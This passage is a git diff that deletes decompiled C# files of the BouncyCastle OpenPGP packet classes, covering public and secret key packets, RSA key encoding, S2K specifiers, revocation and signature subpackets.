(PublicKeyAlgorithmTag)bcpgIn.ReadByte(); - switch (algorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaEncrypt: - case PublicKeyAlgorithmTag.RsaSign: - key = new RsaPublicBcpgKey(bcpgIn); - break; - case PublicKeyAlgorithmTag.Dsa: - key = new DsaPublicBcpgKey(bcpgIn); - break; - case PublicKeyAlgorithmTag.ElGamalEncrypt: - case PublicKeyAlgorithmTag.ElGamalGeneral: - key = new ElGamalPublicBcpgKey(bcpgIn); - break; - case PublicKeyAlgorithmTag.EC: - key = new ECDHPublicBcpgKey(bcpgIn); - break; - case PublicKeyAlgorithmTag.ECDsa: - key = new ECDsaPublicBcpgKey(bcpgIn); - break; - default: - throw new IOException("unknown PGP public key algorithm encountered"); - } - } - - public PublicKeyPacket(PublicKeyAlgorithmTag algorithm, DateTime time, IBcpgKey key) - { - version = 4; - this.time = DateTimeUtilities.DateTimeToUnixMs(time) / 1000; - this.algorithm = algorithm; - this.key = key; - } - - public virtual DateTime GetTime() - { - return DateTimeUtilities.UnixMsToDateTime(time * 1000); - } - - public virtual byte[] GetEncodedContents() - { - MemoryStream memoryStream = new MemoryStream(); - BcpgOutputStream bcpgOutputStream = new BcpgOutputStream(memoryStream); - bcpgOutputStream.WriteByte((byte)version); - bcpgOutputStream.WriteInt((int)time); - if (version <= 3) - { - bcpgOutputStream.WriteShort((short)validDays); - } - bcpgOutputStream.WriteByte((byte)algorithm); - bcpgOutputStream.WriteObject((BcpgObject)key); - return memoryStream.ToArray(); - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WritePacket(PacketTag.PublicKey, GetEncodedContents(), oldFormat: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicSubkeyPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicSubkeyPacket.cs deleted file mode 100644 index 0323f5c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicSubkeyPacket.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg; - -public class PublicSubkeyPacket : PublicKeyPacket -{ - internal PublicSubkeyPacket(BcpgInputStream bcpgIn) - : base(bcpgIn) - { - } - - public PublicSubkeyPacket(PublicKeyAlgorithmTag algorithm, DateTime time, IBcpgKey key) - : base(algorithm, time, key) - { - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WritePacket(PacketTag.PublicSubkey, GetEncodedContents(), oldFormat: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationKey.cs deleted file mode 100644 index 54177a8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationKey.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg; - -public class RevocationKey : SignatureSubpacket -{ - public virtual RevocationKeyTag SignatureClass => (RevocationKeyTag)GetData()[0]; - - public virtual PublicKeyAlgorithmTag Algorithm => (PublicKeyAlgorithmTag)GetData()[1]; - - public RevocationKey(bool isCritical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.RevocationKey, isCritical, isLongLength, data) - { - } - - public RevocationKey(bool isCritical, RevocationKeyTag signatureClass, PublicKeyAlgorithmTag keyAlgorithm, byte[] fingerprint) - : base(SignatureSubpacketTag.RevocationKey, isCritical, isLongLength: false, CreateData(signatureClass, keyAlgorithm, fingerprint)) - { - } - - private static byte[] CreateData(RevocationKeyTag signatureClass, PublicKeyAlgorithmTag keyAlgorithm, byte[] fingerprint) - { - byte[] array = new byte[2 + fingerprint.Length]; - array[0] = (byte)signatureClass; - array[1] = (byte)keyAlgorithm; - Array.Copy(fingerprint, 0, array, 2, fingerprint.Length); - return array; - } - - public virtual byte[] GetFingerprint() - { - byte[] array = GetData(); - byte[] array2 = new byte[array.Length - 2]; - Array.Copy(array, 2, array2, 0, array2.Length); - return array2; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationKeyTag.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationKeyTag.cs deleted file mode 100644 index 8d9a3b9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationKeyTag.cs +++ /dev/null @@ -1,7 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public enum RevocationKeyTag : byte -{ - ClassDefault = 128, - ClassSensitive = 64 -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationReason.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationReason.cs deleted file mode 100644 index feee2f2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationReason.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg; - -public class RevocationReason : SignatureSubpacket -{ - public RevocationReason(bool isCritical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.RevocationReason, isCritical, isLongLength, data) - { - } - - public RevocationReason(bool isCritical, RevocationReasonTag reason, string description) - : base(SignatureSubpacketTag.RevocationReason, isCritical, isLongLength: false, CreateData(reason, description)) - { - } - - private static byte[] CreateData(RevocationReasonTag reason, string description) - { - byte[] array = Strings.ToUtf8ByteArray(description); - byte[] array2 = new byte[1 + array.Length]; - array2[0] = (byte)reason; - Array.Copy(array, 0, array2, 1, array.Length); - return array2; - } - - public virtual RevocationReasonTag GetRevocationReason() - { - return (RevocationReasonTag)GetData()[0]; - } - - public virtual string GetRevocationDescription() - { - byte[] array = GetData(); - if (array.Length == 1) - { - return string.Empty; - } - byte[] array2 = new byte[array.Length - 1]; - Array.Copy(array, 1, array2, 0, array2.Length); - return Strings.FromUtf8ByteArray(array2); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationReasonTag.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationReasonTag.cs deleted file mode 100644 index c20554c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RevocationReasonTag.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public enum RevocationReasonTag : byte -{ - NoReason = 0, - KeySuperseded = 1, - KeyCompromised = 2, - KeyRetired = 3, - UserNoLongerValid = 32 -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RsaPublicBcpgKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RsaPublicBcpgKey.cs deleted file mode 100644 index 8c29545..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RsaPublicBcpgKey.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Bcpg; - -public class RsaPublicBcpgKey : BcpgObject, IBcpgKey -{ - private readonly MPInteger n; - - private readonly MPInteger e; - - public BigInteger PublicExponent => e.Value; - - public BigInteger Modulus => n.Value; - - public string Format => "PGP"; - - public RsaPublicBcpgKey(BcpgInputStream bcpgIn) - { - n = new MPInteger(bcpgIn); - e = new MPInteger(bcpgIn); - } - - public RsaPublicBcpgKey(BigInteger n, BigInteger e) - { - this.n = new MPInteger(n); - this.e = new MPInteger(e); - } - - public override byte[] GetEncoded() - { - try - { - return base.GetEncoded(); - } - catch (Exception) - { - return null; - } - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WriteObjects(n, e); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RsaSecretBcpgKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RsaSecretBcpgKey.cs deleted file mode 100644 index cb24414..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/RsaSecretBcpgKey.cs +++ /dev/null @@ -1,87 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Bcpg; - -public class RsaSecretBcpgKey : BcpgObject, IBcpgKey -{ - private readonly MPInteger d; - - private readonly MPInteger p; - - private readonly MPInteger q; - - private readonly MPInteger u; - - private readonly BigInteger expP; - - private readonly BigInteger expQ; - - private readonly BigInteger crt; - - public BigInteger Modulus => p.Value.Multiply(q.Value); - - public BigInteger PrivateExponent => d.Value; - - public BigInteger PrimeP => p.Value; - - public BigInteger PrimeQ => q.Value; - - public BigInteger PrimeExponentP => expP; - - public BigInteger PrimeExponentQ => expQ; - - public BigInteger CrtCoefficient => crt; - - public string Format => "PGP"; - - public RsaSecretBcpgKey(BcpgInputStream bcpgIn) - { - d = new MPInteger(bcpgIn); - p = new MPInteger(bcpgIn); - q = new MPInteger(bcpgIn); - u = new MPInteger(bcpgIn); - expP = d.Value.Remainder(p.Value.Subtract(BigInteger.One)); - expQ = d.Value.Remainder(q.Value.Subtract(BigInteger.One)); - crt = q.Value.ModInverse(p.Value); - } - - public RsaSecretBcpgKey(BigInteger d, BigInteger p, BigInteger q) - { - int num = p.CompareTo(q); - if (num >= 0) - { - if (num == 0) - { - throw new ArgumentException("p and q cannot be equal"); - } - BigInteger bigInteger = p; - p = q; - q = bigInteger; - } - this.d = new MPInteger(d); - this.p = new MPInteger(p); - this.q = new MPInteger(q); - u = new MPInteger(p.ModInverse(q)); - expP = d.Remainder(p.Subtract(BigInteger.One)); - expQ = d.Remainder(q.Subtract(BigInteger.One)); - crt = q.ModInverse(p); - } - - public override byte[] GetEncoded() - { - try - { - return base.GetEncoded(); - } - catch (Exception) - { - return null; - } - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WriteObjects(d, p, q, u); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/S2k.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/S2k.cs deleted file mode 100644 index c1a265c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/S2k.cs +++ /dev/null @@ -1,125 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class S2k : BcpgObject -{ - private const int ExpBias = 6; - - public const int Simple = 0; - - public const int Salted = 1; - - public const int SaltedAndIterated = 3; - - public const int GnuDummyS2K = 101; - - public const int GnuProtectionModeNoPrivateKey = 1; - - public const int GnuProtectionModeDivertToCard = 2; - - internal int type; - - internal HashAlgorithmTag algorithm; - - internal byte[] iv; - - internal int itCount = -1; - - internal int protectionMode = -1; - - public virtual int Type => type; - - public virtual HashAlgorithmTag HashAlgorithm => algorithm; - - public virtual long IterationCount => 16 + (itCount & 0xF) << (itCount >> 4) + 6; - - public virtual int ProtectionMode => protectionMode; - - internal S2k(Stream inStr) - { - type = inStr.ReadByte(); - algorithm = (HashAlgorithmTag)inStr.ReadByte(); - if (type != 101) - { - if (type != 0) - { - iv = new byte[8]; - if (Streams.ReadFully(inStr, iv, 0, iv.Length) < iv.Length) - { - throw new EndOfStreamException(); - } - if (type == 3) - { - itCount = inStr.ReadByte(); - } - } - } - else - { - inStr.ReadByte(); - inStr.ReadByte(); - inStr.ReadByte(); - protectionMode = inStr.ReadByte(); - } - } - - public S2k(HashAlgorithmTag algorithm) - { - type = 0; - this.algorithm = algorithm; - } - - public S2k(HashAlgorithmTag algorithm, byte[] iv) - { - type = 1; - this.algorithm = algorithm; - this.iv = iv; - } - - public S2k(HashAlgorithmTag algorithm, byte[] iv, int itCount) - { - type = 3; - this.algorithm = algorithm; - this.iv = iv; - this.itCount = itCount; - } - - public virtual byte[] GetIV() - { - return Arrays.Clone(iv); - } - - [Obsolete("Use 'IterationCount' property instead")] - public long GetIterationCount() - { - return IterationCount; - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WriteByte((byte)type); - bcpgOut.WriteByte((byte)algorithm); - if (type != 101) - { - if (type != 0) - { - bcpgOut.Write(iv); - } - if (type == 3) - { - bcpgOut.WriteByte((byte)itCount); - } - } - else - { - bcpgOut.WriteByte(71); - bcpgOut.WriteByte(78); - bcpgOut.WriteByte(85); - bcpgOut.WriteByte((byte)protectionMode); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SecretKeyPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SecretKeyPacket.cs deleted file mode 100644 index 2f66da0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SecretKeyPacket.cs +++ /dev/null @@ -1,132 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg; - -public class SecretKeyPacket : ContainedPacket -{ - public const int UsageNone = 0; - - public const int UsageChecksum = 255; - - public const int UsageSha1 = 254; - - private PublicKeyPacket pubKeyPacket; - - private readonly byte[] secKeyData; - - private int s2kUsage; - - private SymmetricKeyAlgorithmTag encAlgorithm; - - private S2k s2k; - - private byte[] iv; - - public SymmetricKeyAlgorithmTag EncAlgorithm => encAlgorithm; - - public int S2kUsage => s2kUsage; - - public S2k S2k => s2k; - - public PublicKeyPacket PublicKeyPacket => pubKeyPacket; - - internal SecretKeyPacket(BcpgInputStream bcpgIn) - { - if (this is SecretSubkeyPacket) - { - pubKeyPacket = new PublicSubkeyPacket(bcpgIn); - } - else - { - pubKeyPacket = new PublicKeyPacket(bcpgIn); - } - s2kUsage = bcpgIn.ReadByte(); - if (s2kUsage == 255 || s2kUsage == 254) - { - encAlgorithm = (SymmetricKeyAlgorithmTag)bcpgIn.ReadByte(); - s2k = new S2k(bcpgIn); - } - else - { - encAlgorithm = (SymmetricKeyAlgorithmTag)s2kUsage; - } - if ((s2k == null || s2k.Type != 101 || s2k.ProtectionMode != 1) && s2kUsage != 0) - { - if (encAlgorithm < SymmetricKeyAlgorithmTag.Aes128) - { - iv = new byte[8]; - } - else - { - iv = new byte[16]; - } - bcpgIn.ReadFully(iv); - } - secKeyData = bcpgIn.ReadAll(); - } - - public SecretKeyPacket(PublicKeyPacket pubKeyPacket, SymmetricKeyAlgorithmTag encAlgorithm, S2k s2k, byte[] iv, byte[] secKeyData) - { - this.pubKeyPacket = pubKeyPacket; - this.encAlgorithm = encAlgorithm; - if (encAlgorithm != SymmetricKeyAlgorithmTag.Null) - { - s2kUsage = 255; - } - else - { - s2kUsage = 0; - } - this.s2k = s2k; - this.iv = Arrays.Clone(iv); - this.secKeyData = secKeyData; - } - - public SecretKeyPacket(PublicKeyPacket pubKeyPacket, SymmetricKeyAlgorithmTag encAlgorithm, int s2kUsage, S2k s2k, byte[] iv, byte[] secKeyData) - { - this.pubKeyPacket = pubKeyPacket; - this.encAlgorithm = encAlgorithm; - this.s2kUsage = s2kUsage; - this.s2k = s2k; - this.iv = Arrays.Clone(iv); - this.secKeyData = secKeyData; - } - - public byte[] GetIV() - { - return Arrays.Clone(iv); - } - - public byte[] GetSecretKeyData() - { - return secKeyData; - } - - public byte[] GetEncodedContents() - { - MemoryStream memoryStream = new MemoryStream(); - BcpgOutputStream bcpgOutputStream = new BcpgOutputStream(memoryStream); - bcpgOutputStream.Write(pubKeyPacket.GetEncodedContents()); - bcpgOutputStream.WriteByte((byte)s2kUsage); - if (s2kUsage == 255 || s2kUsage == 254) - { - bcpgOutputStream.WriteByte((byte)encAlgorithm); - bcpgOutputStream.WriteObject(s2k); - } - if (iv != null) - { - bcpgOutputStream.Write(iv); - } - if (secKeyData != null && secKeyData.Length > 0) - { - bcpgOutputStream.Write(secKeyData); - } - return memoryStream.ToArray(); - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WritePacket(PacketTag.SecretKey, GetEncodedContents(), oldFormat: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SecretSubkeyPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SecretSubkeyPacket.cs deleted file mode 100644 index c85e6c0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/SecretSubkeyPacket.cs +++ /dev/null @@ -1,24 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public class SecretSubkeyPacket : SecretKeyPacket -{ - internal SecretSubkeyPacket(BcpgInputStream bcpgIn) - : base(bcpgIn) - { - } - - public SecretSubkeyPacket(PublicKeyPacket pubKeyPacket, SymmetricKeyAlgorithmTag encAlgorithm, S2k s2k, byte[] iv, byte[] secKeyData) - : base(pubKeyPacket, encAlgorithm, s2k, iv, secKeyData) - { - } - - public SecretSubkeyPacket(PublicKeyPacket pubKeyPacket, SymmetricKeyAlgorithmTag encAlgorithm, int s2kUsage, S2k s2k, byte[] iv, byte[] secKeyData) - : base(pubKeyPacket, encAlgorithm, s2kUsage, s2k, iv, secKeyData) - { - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WritePacket(PacketTag.SecretSubkey, GetEncodedContents(), oldFormat: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/EmbeddedSignature.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/EmbeddedSignature.cs deleted file mode 100644 index b8c6bfb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/EmbeddedSignature.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.Sig; - -public class EmbeddedSignature : SignatureSubpacket -{ - public EmbeddedSignature(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.EmbeddedSignature, critical, isLongLength, data) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/Exportable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/Exportable.cs deleted file mode 100644 index 1ecbfb1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/Exportable.cs +++ /dev/null @@ -1,30 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.Sig; - -public class Exportable : SignatureSubpacket -{ - private static byte[] BooleanToByteArray(bool val) - { - byte[] array = new byte[1]; - if (val) - { - array[0] = 1; - return array; - } - return array; - } - - public Exportable(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.Exportable, critical, isLongLength, data) - { - } - - public Exportable(bool critical, bool isExportable) - : base(SignatureSubpacketTag.Exportable, critical, isLongLength: false, BooleanToByteArray(isExportable)) - { - } - - public bool IsExportable() - { - return data[0] != 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/Features.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/Features.cs deleted file mode 100644 index 3ec2819..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/Features.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg.Sig; - -public class Features : SignatureSubpacket -{ - public static readonly byte FEATURE_MODIFICATION_DETECTION = 1; - - public bool SupportsModificationDetection => SupportsFeature(FEATURE_MODIFICATION_DETECTION); - - private static byte[] FeatureToByteArray(byte feature) - { - return new byte[1] { feature }; - } - - public Features(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.Features, critical, isLongLength, data) - { - } - - public Features(bool critical, byte feature) - : base(SignatureSubpacketTag.Features, critical, isLongLength: false, FeatureToByteArray(feature)) - { - } - - public bool SupportsFeature(byte feature) - { - return Array.IndexOf((Array)data, (object?)feature) >= 0; - } - - private void SetSupportsFeature(byte feature, bool support) - { - if (feature == 0) - { - throw new ArgumentException("cannot be 0", "feature"); - } - int num = Array.IndexOf((Array)data, (object?)feature); - if (num >= 0 != support) - { - if (support) - { - data = Arrays.Append(data, feature); - return; - } - byte[] array = new byte[data.Length - 1]; - Array.Copy(data, 0, array, 0, num); - Array.Copy(data, num + 1, array, num, array.Length - num); - data = array; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/IssuerKeyId.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/IssuerKeyId.cs deleted file mode 100644 index b3de674..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/IssuerKeyId.cs +++ /dev/null @@ -1,31 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.Sig; - -public class IssuerKeyId : SignatureSubpacket -{ - public long KeyId => ((long)(data[0] & 0xFF) << 56) | ((long)(data[1] & 0xFF) << 48) | ((long)(data[2] & 0xFF) << 40) | ((long)(data[3] & 0xFF) << 32) | ((long)(data[4] & 0xFF) << 24) | ((long)(data[5] & 0xFF) << 16) | ((long)(data[6] & 0xFF) << 8) | (long)((ulong)data[7] & 0xFFuL); - - protected static byte[] KeyIdToBytes(long keyId) - { - return new byte[8] - { - (byte)(keyId >> 56), - (byte)(keyId >> 48), - (byte)(keyId >> 40), - (byte)(keyId >> 32), - (byte)(keyId >> 24), - (byte)(keyId >> 16), - (byte)(keyId >> 8), - (byte)keyId - }; - } - - public IssuerKeyId(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.IssuerKeyId, critical, isLongLength, data) - { - } - - public IssuerKeyId(bool critical, long keyId) - : base(SignatureSubpacketTag.IssuerKeyId, critical, isLongLength: false, KeyIdToBytes(keyId)) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/KeyExpirationTime.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/KeyExpirationTime.cs deleted file mode 100644 index 94ca279..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/KeyExpirationTime.cs +++ /dev/null @@ -1,27 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.Sig; - -public class KeyExpirationTime : SignatureSubpacket -{ - public long Time => ((long)(data[0] & 0xFF) << 24) | ((long)(data[1] & 0xFF) << 16) | ((long)(data[2] & 0xFF) << 8) | (long)((ulong)data[3] & 0xFFuL); - - protected static byte[] TimeToBytes(long t) - { - return new byte[4] - { - (byte)(t >> 24), - (byte)(t >> 16), - (byte)(t >> 8), - (byte)t - }; - } - - public KeyExpirationTime(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.KeyExpireTime, critical, isLongLength, data) - { - } - - public KeyExpirationTime(bool critical, long seconds) - : base(SignatureSubpacketTag.KeyExpireTime, critical, isLongLength: false, TimeToBytes(seconds)) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/KeyFlags.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/KeyFlags.cs deleted file mode 100644 index 1bbe3d7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/KeyFlags.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg.Sig; - -public class KeyFlags : SignatureSubpacket -{ - public const int CertifyOther = 1; - - public const int SignData = 2; - - public const int EncryptComms = 4; - - public const int EncryptStorage = 8; - - public const int Split = 16; - - public const int Authentication = 32; - - public const int Shared = 128; - - public int Flags - { - get - { - int num = 0; - for (int i = 0; i != data.Length; i++) - { - num |= (data[i] & 0xFF) << i * 8; - } - return num; - } - } - - private static byte[] IntToByteArray(int v) - { - byte[] array = new byte[4]; - int num = 0; - for (int i = 0; i != 4; i++) - { - array[i] = (byte)(v >> i * 8); - if (array[i] != 0) - { - num = i; - } - } - byte[] array2 = new byte[num + 1]; - Array.Copy(array, 0, array2, 0, array2.Length); - return array2; - } - - public KeyFlags(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.KeyFlags, critical, isLongLength, data) - { - } - - public KeyFlags(bool critical, int flags) - : base(SignatureSubpacketTag.KeyFlags, critical, isLongLength: false, IntToByteArray(flags)) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/NotationData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/NotationData.cs deleted file mode 100644 index 57a3cac..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/NotationData.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System; -using System.IO; -using System.Text; - -namespace Org.BouncyCastle.Bcpg.Sig; - -public class NotationData : SignatureSubpacket -{ - public const int HeaderFlagLength = 4; - - public const int HeaderNameLength = 2; - - public const int HeaderValueLength = 2; - - public bool IsHumanReadable => data[0] == 128; - - public NotationData(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.NotationData, critical, isLongLength, data) - { - } - - public NotationData(bool critical, bool humanReadable, string notationName, string notationValue) - : base(SignatureSubpacketTag.NotationData, critical, isLongLength: false, CreateData(humanReadable, notationName, notationValue)) - { - } - - private static byte[] CreateData(bool humanReadable, string notationName, string notationValue) - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.WriteByte((byte)(humanReadable ? 128 : 0)); - memoryStream.WriteByte(0); - memoryStream.WriteByte(0); - memoryStream.WriteByte(0); - byte[] array = null; - byte[] bytes = Encoding.UTF8.GetBytes(notationName); - int num = System.Math.Min(bytes.Length, 255); - array = Encoding.UTF8.GetBytes(notationValue); - int num2 = System.Math.Min(array.Length, 255); - memoryStream.WriteByte((byte)(num >> 8)); - memoryStream.WriteByte((byte)num); - memoryStream.WriteByte((byte)(num2 >> 8)); - memoryStream.WriteByte((byte)num2); - memoryStream.Write(bytes, 0, num); - memoryStream.Write(array, 0, num2); - return memoryStream.ToArray(); - } - - public string GetNotationName() - { - int count = (data[4] << 8) + data[5]; - int index = 8; - return Encoding.UTF8.GetString(data, index, count); - } - - public string GetNotationValue() - { - int num = (data[4] << 8) + data[5]; - int count = (data[6] << 8) + data[7]; - int index = 8 + num; - return Encoding.UTF8.GetString(data, index, count); - } - - public byte[] GetNotationValueBytes() - { - int num = (data[4] << 8) + data[5]; - int num2 = (data[6] << 8) + data[7]; - int sourceIndex = 8 + num; - byte[] array = new byte[num2]; - Array.Copy(data, sourceIndex, array, 0, num2); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/PreferredAlgorithms.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/PreferredAlgorithms.cs deleted file mode 100644 index 74aa6a7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/PreferredAlgorithms.cs +++ /dev/null @@ -1,34 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.Sig; - -public class PreferredAlgorithms : SignatureSubpacket -{ - private static byte[] IntToByteArray(int[] v) - { - byte[] array = new byte[v.Length]; - for (int i = 0; i != v.Length; i++) - { - array[i] = (byte)v[i]; - } - return array; - } - - public PreferredAlgorithms(SignatureSubpacketTag type, bool critical, bool isLongLength, byte[] data) - : base(type, critical, isLongLength, data) - { - } - - public PreferredAlgorithms(SignatureSubpacketTag type, bool critical, int[] preferences) - : base(type, critical, isLongLength: false, IntToByteArray(preferences)) - { - } - - public int[] GetPreferences() - { - int[] array = new int[data.Length]; - for (int i = 0; i != array.Length; i++) - { - array[i] = data[i] & 0xFF; - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/PrimaryUserId.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/PrimaryUserId.cs deleted file mode 100644 index 4ca8c81..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/PrimaryUserId.cs +++ /dev/null @@ -1,30 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.Sig; - -public class PrimaryUserId : SignatureSubpacket -{ - private static byte[] BooleanToByteArray(bool val) - { - byte[] array = new byte[1]; - if (val) - { - array[0] = 1; - return array; - } - return array; - } - - public PrimaryUserId(bool critical, bool isLongLength, byte[] data) - : base(SignatureSubpacketTag.PrimaryUserId, critical, isLongLength, data) - { - } - - public PrimaryUserId(bool critical, bool isPrimaryUserId) - : base(SignatureSubpacketTag.PrimaryUserId, critical, isLongLength: false, BooleanToByteArray(isPrimaryUserId)) - { - } - - public bool IsPrimaryUserId() - { - return data[0] != 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/Revocable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/Revocable.cs deleted file mode 100644 index e1bd3fb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Sig/Revocable.cs +++ /dev/null @@ -1,30 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.Sig; - -public class Revocable : SignatureSubpacket -{ - private static byte[] BooleanToByteArray(bool value) - { - byte[] array = new byte[1]; - if (value) - { - array[0] = 1; - return array; - } - return array; - } - - public Revocable(bool critical, 